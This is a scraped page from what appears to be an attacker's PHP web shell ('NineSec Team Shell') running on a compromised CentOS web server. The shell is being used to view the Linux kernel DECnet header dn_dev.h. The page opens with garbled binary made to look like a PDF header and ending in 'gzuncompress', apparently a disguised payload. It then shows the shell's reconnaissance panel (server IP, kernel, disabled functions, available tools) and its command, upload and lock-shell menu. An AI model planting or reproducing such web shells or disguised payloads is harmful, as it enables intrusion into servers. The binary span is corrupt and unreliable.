%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 10.0.3.46  /  Your IP : 172.69.58.106
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.2.34
System : Linux ukmjuara 3.10.0-1160.95.1.el7.x86_64 #1 SMP Mon Jul 24 13:59:37 UTC 2023 x86_64
User : apache ( 48)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON
Directory (0755) :  /usr/src/kernels/3.10.0-957.10.1.el7.x86_64/include/net/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //usr/src/kernels/3.10.0-957.10.1.el7.x86_64/include/net/dn_dev.h
#ifndef _NET_DN_DEV_H
#define _NET_DN_DEV_H


struct dn_dev;

struct dn_ifaddr {
	struct dn_ifaddr __rcu *ifa_next;
	struct dn_dev    *ifa_dev;
	__le16            ifa_local;
	__le16            ifa_address;
	__u8              ifa_flags;
	__u8              ifa_scope;
	char              ifa_label[IFNAMSIZ];
	struct rcu_head   rcu;
};

#define DN_DEV_S_RU  0 /* Run - working normally   */
#define DN_DEV_S_CR  1 /* Circuit Rejected         */
#define DN_DEV_S_DS  2 /* Data Link Start          */
#define DN_DEV_S_RI  3 /* Routing Layer Initialize */
#define DN_DEV_S_RV  4 /* Routing Layer Verify     */
#define DN_DEV_S_RC  5 /* Routing Layer Complete   */
#define DN_DEV_S_OF  6 /* Off                      */
#define DN_DEV_S_HA  7 /* Halt                     */


/*
 * The dn_dev_parms structure contains the set of parameters
 * for each device (hence inclusion in the dn_dev structure)
 * and an array is used to store the default types of supported
 * device (in dn_dev.c).
 *
 * The type field matches the ARPHRD_ constants and is used in
 * searching the list for supported devices when new devices
 * come up.
 *
 * The mode field is used to find out if a device is broadcast,
 * multipoint, or pointopoint. Please note that DECnet thinks
 * different ways about devices to the rest of the kernel
 * so the normal IFF_xxx flags are invalid here. For devices
 * which can be any combination of the previously mentioned
 * attributes, you can set this on a per device basis by
 * installing an up() routine.
 *
 * The device state field, defines the initial state in which the
 * device will come up. In the dn_dev structure, it is the actual
 * state.
 *
 * Things have changed here. I've killed timer1 since it's a user space
 * issue for a user space routing deamon to sort out. The kernel does
 * not need to be bothered with it.
 *
 * Timers:
 * t2 - Rate limit timer, min time between routing and hello messages
 * t3 - Hello timer, send hello messages when it expires
 *
 * Callbacks:
 * up() - Called to initialize device, return value can veto use of
 *        device with DECnet.
 * down() - Called to turn device off when it goes down
 * timer3() - Called once for each ifaddr when timer 3 goes off
 * 
 * sysctl - Hook for sysctl things
 *
 */
struct dn_dev_parms {
	int type;	          /* ARPHRD_xxx                         */
	int mode;	          /* Broadcast, Unicast, Mulitpoint     */
#define DN_DEV_BCAST  1
#define DN_DEV_UCAST  2
#define DN_DEV_MPOINT 4
	int state;                /* Initial state                      */
	int forwarding;	          /* 0=EndNode, 1=L1Router, 2=L2Router  */
	unsigned long t2;         /* Default value of t2                */
	unsigned long t3;         /* Default value of t3                */
	int priority;             /* Priority to be a router            */
	char *name;               /* Name for sysctl                    */
	int  (*up)(struct net_device *);
	void (*down)(struct net_device *);
	void (*timer3)(struct net_device *, struct dn_ifaddr *ifa);
	void *sysctl;
};


struct dn_dev {
	struct dn_ifaddr __rcu *ifa_list;
	struct net_device *dev;
	struct dn_dev_parms parms;
	char use_long;
	struct timer_list timer;
	unsigned long t3;
	struct neigh_parms *neigh_parms;
	__u8 addr[ETH_ALEN];
	struct neighbour *router; /* Default router on circuit */
	struct neighbour *peer;   /* Peer on pointopoint links */
	unsigned long uptime;     /* Time device went up in jiffies */
};

struct dn_short_packet {
	__u8    msgflg;
	__le16 dstnode;
	__le16 srcnode;
	__u8   forward;
} __packed;

struct dn_long_packet {
	__u8   msgflg;
	__u8   d_area;
	__u8   d_subarea;
	__u8   d_id[6];
	__u8   s_area;
	__u8   s_subarea;
	__u8   s_id[6];
	__u8   nl2;
	__u8   visit_ct;
	__u8   s_class;
	__u8   pt;
} __packed;

/*------------------------- DRP - Routing messages ---------------------*/

struct endnode_hello_message {
	__u8   msgflg;
	__u8   tiver[3];
	__u8   id[6];
	__u8   iinfo;
	__le16 blksize;
	__u8   area;
	__u8   seed[8];
	__u8   neighbor[6];
	__le16 timer;
	__u8   mpd;
	__u8   datalen;
	__u8   data[2];
} __packed;

struct rtnode_hello_message {
	__u8   msgflg;
	__u8   tiver[3];
	__u8   id[6];
	__u8   iinfo;
	__le16  blksize;
	__u8   priority;
	__u8   area;
	__le16  timer;
	__u8   mpd;
} __packed;


extern void dn_dev_init(void);
extern void dn_dev_cleanup(void);

extern int dn_dev_ioctl(unsigned int cmd, void __user *arg);

extern void dn_dev_devices_off(void);
extern void dn_dev_devices_on(void);

extern void dn_dev_init_pkt(struct sk_buff *skb);
extern void dn_dev_veri_pkt(struct sk_buff *skb);
extern void dn_dev_hello(struct sk_buff *skb);

extern void dn_dev_up(struct net_device *);
extern void dn_dev_down(struct net_device *);

extern int dn_dev_set_default(struct net_device *dev, int force);
extern struct net_device *dn_dev_get_default(void);
extern int dn_dev_bind_default(__le16 *addr);

extern int register_dnaddr_notifier(struct notifier_block *nb);
extern int unregister_dnaddr_notifier(struct notifier_block *nb);

static inline int dn_dev_islocal(struct net_device *dev, __le16 addr)
{
	struct dn_dev *dn_db;
	struct dn_ifaddr *ifa;
	int res = 0;

	rcu_read_lock();
	dn_db = rcu_dereference(dev->dn_ptr);
	if (dn_db == NULL) {
		printk(KERN_DEBUG "dn_dev_islocal: Called for non DECnet device\n");
		goto out;
	}

	for (ifa = rcu_dereference(dn_db->ifa_list);
	     ifa != NULL;
	     ifa = rcu_dereference(ifa->ifa_next))
		if ((addr ^ ifa->ifa_local) == 0) {
			res = 1;
			break;
		}
out:
	rcu_read_unlock();
	return res;
}

#endif /* _NET_DN_DEV_H */

NineSec Team - 2022